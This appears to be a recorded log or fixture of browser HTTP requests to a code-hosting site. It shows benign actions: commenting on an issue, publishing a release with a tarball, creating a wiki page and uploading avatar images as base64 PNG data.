+{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
+{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
+{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
+{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
+{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
+{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
+{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAAQJ0lEQVR4nBXXrbpFUBSG0V0URVEURVEURVEURVEURVEURXmLoiiKoiiKoiiKoiiKoiiKoriJ47iC8Vjz55u/3w/hh/hD+iH/UH6oP7Qf+g/jh/nD+mH/cH64P7wf/o/gR/gj+hH/SH6kP7If/Mh/FD/KH9WP+kfzo/3R/eh/DD/GH9OP+cfyY/2x/dh/HD/OH9eP+8fz4/3x+wkIAqKAJCALKAKqgCagCxgCpoAlYAs4Aq6AJ+ALBAKhQCQQCyQCqUAmgEAuUAiUApVALdAItAKdQC8wCIwCk8AssAisApvALnAInAKXwC3wCLzCBxIRREQRSUQWUURUEU1EFzFETBFLxBZxRFwRT8QXCURCkUgkFklEUpFMBJFcpBApRSqRWqQRaUU6kV5kEBlFJpFZZBFZRTaRXeQQOUUukVvkEXnFDyQhSIgSkoQsoUioEpqELmFImBKWhC3hSLgSnoQvEUiEEpFELJFIpBKZBBK5RCFRSlQStUQj0Up0Er3EIDFKTBKzxCKxSmwSu8QhcUpcErfEI/FKH0hGkBFlJBlZRpFRZTQZXcaQMWUsGVvGkXFlPBlfJpAJZSKZWCaRSWUyGWRymUKmlKlkaplGppXpZHqZQWaUmWRmmUVmldlkdplD5pS5ZG6ZR+aVP5CCoCAqSAqygqKgKmgKuoKhYCpYCraCo+AqeAq+QqAQKkQKsUKikCpkCijkCoVCqVAp1AqNQqvQKfQKg8KoMCnMCovCqrAp7AqHwqlwKdwKj8KrfCAVQUVUkVRkFUVFVdFUdBVDxVSxVGwVR8VV8VR8lUAlVIlUYpVEJVXJVFDJVQqVUqVSqVUalValU+lVBpVRZVKZVRaVVWVT2VUOlVPlUrlVHpVX/UAagoaoIWnIGoqGqqFp6BqGhqlhadgajoar4Wn4GoFGqBFpxBqJRqqRaaCRaxQapUalUWs0Gq1Gp9FrDBqjxqQxaywaq8amsWscGqfGpXFrPBqv9oF0BB1RR9KRdRQdVUfT0XUMHVPH0rF1HB1Xx9PxdQKdUCfSiXUSnVQn00En1yl0Sp1Kp9ZpdFqdTqfXGXRGnUln1ll0Vp1NZ9c5dE6dS+fWeXRe/QMZCAaigWQgGygGqoFmoBsYBqaBZWAbOAaugWfgGwQGoUFkEBskBqlBZoBBblAYlAaVQW3QGLQGnUFvMBiMBpPBbLAYrAabwW5wGJwGl8Ft8Bi8xgcyEUxEE8lENlFMVBPNRDcxTEwTy8Q2cUxcE8/ENwlMQpPIJDZJTFKTzAST3KQwKU0qk9qkMWlNOpPeZDAZTSaT2WQxWU02k93kMDlNLpPb5DF5zQ9kIViIFpKFbKFYqBaahW5hWJgWloVt4Vi4Fp6FbxFYhBaRRWyRWKQWmQUWuUVhUVpUFrVFY9FadBa9xWAxWkwWs8VisVpsFrvFYXFaXBa3xWPxWh/IRrARbSQb2UaxUW00G93GsDFtLBvbxrFxbTwb3yawCW0im9gmsUltMhtscpvCprSpbGqbxqa16Wx6m8FmtJlsZpvFZrXZbHabw+a0uWxum8fmtT+Qg+AgOkgOsoPioDpoDrqD4WA6WA62g+PgOngOvkPgEDpEDrFD4pA6ZA445A6FQ+lQOdQOjUPr0Dn0DoPD6DA5zA6Lw+qwOewOh8PpcDncDo/D63wgF8FFdJFcZBfFRXXRXHQXw8V0sVxsF8fFdfFcfJfAJXSJXGKXxCV1yVxwyV0Kl9KlcqldGpfWpXPpXQaX0WVymV0Wl9Vlc9ldDpfT5XK5XR6X1/1AHoKH6CF5yB6Kh+qheegehofpYXnYHo6H6+F5+B6BR+gRecQeiUfqkXngkXsUHqVH5VF7NB6tR+fRewweo8fkMXssHqvH5rF7HB6nx+Vxezwer/eBfAQf0UfykX0UH9VH89F9DB/Tx/KxfRwf18fz8X0Cn9An8ol9Ep/UJ/PBJ/cpfEqfyqf2aXxan86n9xl8Rp/JZ/ZZfFafzWf3OXxOn8vn9nl8Xv8DBQgBYoAUIAcoAWqAFqAHGAFmgBVgBzgBboAX4AcEAWFAFBAHJAFpQBZAQB5QBJQBVUAd0AS0AV1AHzAEjAFTwBywBKwBW8AecAScAVfAHfAEvMEHChFCxBApRA5RQtQQLUQPMULMECvEDnFC3BAvxA8JQsKQKCQOSULSkCyEkDykCClDqpA6pAlpQ7qQPmQIGUOmkDlkCVlDtpA95Ag5Q66QO+QJecMPFCFEiBFShByhRKgRWoQeYUSYEVaEHeFEuBFehB8RRIQRUUQckUSkEVkEEXlEEVFGVBF1RBPRRnQRfcQQMUZMEXPEErFGbBF7xBFxRlwRd8QT8UYfKEaIEWOkGDlGiVFjtBg9xogxY6wYO8aJcWO8GD8miAljopg4JolJY7IYYvKYIqaMqWLqmCamjeli+pghZoyZYuaYJWaN2WL2mCPmjLli7pgn5o0/UIKQICZICXKCkqAmaAl6gpFgJlgJdoKT4CZ4CX5CkBAmRAlxQpKQJmQJJOQJRUKZUCXUCU1Cm9Al9AlDwpgwJcwJS8KasCXsCUfCmXAl3AlPwpt8oBQhRUyRUuQUJUVN0VL0FCPFTLFS7BQnxU3xUvyUICVMiVLilCQlTclSSMlTipQypUqpU5qUNqVL6VOGlDFlSplTlpQ1ZUvZU46UM+VKuVOelDf9QBlChpghZcgZSoaaoWXoGUaGmWFl2BlOhpvhZfgZQUaYEWXEGUlGmpFlkJFnFBllRpVRZzQZbUaX0WcMGWPGlDFnLBlrxpaxZxwZZ8aVcWc8GW/2gf4PmO9k+EL6F4u/IPpFvy9sffHmCxTfCv+W5remvsXwjeJv+H3j5mvwr6W+Iv7K5nuo79d8mP8vhwJKqKCGBlrooIcBRphghgVW2GCHA0644IYH3u+8++UIOWKOlCPnKDlqjpaj5xg5Zo6VY+c4OW6Ol+PnBDlhTpQT5yQ5aU6W/3PynCKnzKly6pwmp83pcvqcIWfMmXLmnCVnzdly9pwj58y5cu6cJ+fNP1CBUCAWSAVygVKgFmgFeoFRYBZYBXaBU+AWeAV+QVAQFkQFcUFSkBZkxf/PyQuKgrKgKqgLmoK2oCvoC4aCsWAqmAuWgrVgK9gLjoKz4Cq4C56Ct/hAJUKJWCKVyCVKiVqileglRolZYpXYJU6JW+KV+CVBSVgSlcQlSUlakpX/T5WXFCVlSVVSlzQlbUlX0pcMJWPJVDKXLCVryVaylxwlZ8lVcpc8JW/5gSqECrFCqpArlAq1QqvQK4wKs8KqsCucCrfCq/ArgoqwIqqIK5KKtCKr/gsnrygqyoqqoq5oKtqKrqKvGCrGiqlirlgq1oqtYq84Ks6Kq+KueCre6gPVCDVijVQj1yg1ao1Wo9cYNWaNVWPXODVujVfj1wQ1YU1UE9ckNWlNVv+XcV5T1JQ1VU1d09S0NV1NXzPUjDVTzVyz1Kw1W81ec9ScNVfNXfPUvPUHahAaxAapQW5QGtQGrUFvMBrMBqvBbnAa3AavwW8IGsKGqCFuSBrShqz5b6q8oWgoG6qGuqFpaBu6hr5haBgbpoa5YWlYG7aGveFoOBuuhrvhaXibD9QitIgtUovcorSoLVqL3mK0mC1Wi93itLgtXovfErSELVFL3JK0pC1Z+9/ieUvRUrZULXVL09K2dC19y9Aytkwtc8vSsrZsLXvL0XK2XC13y9Pyth+oQ+gQO6QOuUPpUDu0Dr3D6DA7rA67w+lwO7wOvyPoCDuijrgj6Ug7su5/4OQdRUfZUXXUHU1H29F19B1Dx9gxdcwdS8fasXXsHUfH2XF13B1Px9t9oB6hR+yReuQepUft0Xr0HqPH7LF67B6nx+3xevyeoCfsiXrinqQn7cn6//GX9xQ9ZU/VU/c0PW1P19P3DD1jz9Qz9yw9a8/Ws/ccPWfP1XP3PD1v/4EGhAFxQBqQB5QBdUAb0AeMAXPAGrAHnAF3wBvwB4KBcCAaiAeSgXQgG/6HcT5QDJQD1UA90Ay0A91APzAMjAPTwDywDKwD28A+cAycA9fAPfAMvMMHGhFGxBFpRB5RRtQRbUQfMUbMEWvEHnFG3BFvxLine truncated
+{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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